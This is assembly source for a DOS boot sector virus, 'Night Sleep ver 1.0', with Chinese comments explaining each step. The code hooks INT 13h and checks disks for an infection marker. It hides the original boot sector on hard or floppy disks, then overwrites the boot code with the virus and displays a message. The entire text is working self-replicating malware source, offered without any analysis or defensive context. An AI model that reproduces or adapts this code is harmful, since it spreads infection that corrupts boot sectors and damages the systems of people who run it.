push cs
pop es
push cs
pop ds ;使ds=es=cs
mov bx,OFF OldBootSpace
mov ax,0201h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;读原引导扇区
jc short @@OptOver
mov di,bx
cmp ds:[di.VirusFlag],'V' ;判断是否已经有病毒?
jz short @@OptOver ;若有,则退出
cmp dl,00h
jz short @@IsOptFlopyDisk
@@IsOptHardDisk:
mov cx,0002h ;若是硬盘,保存在0面0道2扇区
jmp short @@SaveOldBoot
@@IsOptFlopyDisk:
mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区
@@SaveOldBoot:
mov ax,0301h
mov dh,0h
call @@CallInt13 ;保存原引导扇区
jc short @@OptOver
mov si,OFF @@Start
cld
movsw
movsb ;修改原扇区首指令(Jmp near 3字节)
mov di,OFF @@Begin+200h
mov si,OFF @@Begin
mov cx,OFF @@End-OFF @@Begin
cld
rep movsb ;修改原引导扇区指令cx字节
mov ax,0301h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;写回已经被修改了的引导程序
@@OptOver: ;退出传染
pop es
pop ds ;恢复段址与通用寄存器
popa
ret ;以下是病毒要显示的信息,与病毒版本信息
VirusMsg db 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0
db 'Night Sleep ver 1.0,by whg 2001.5.5',0
@@End:
org 1feh
Flags dw 0aa55h ;引导扇区有效标志
OldBootSpace db 210h dup(?) ;定义缓冲区
@@Install:
xor ax,ax
mov ds,ax
cli
mov ax,ds:[13h*4]
mov cs:[OldInt13Off],ax
mov ax,ds:[13h*4+2]
mov cs:[OldInt13Seg],ax
mov dl,80h
call @@OptDisk
mov ax,4c00h
int 21h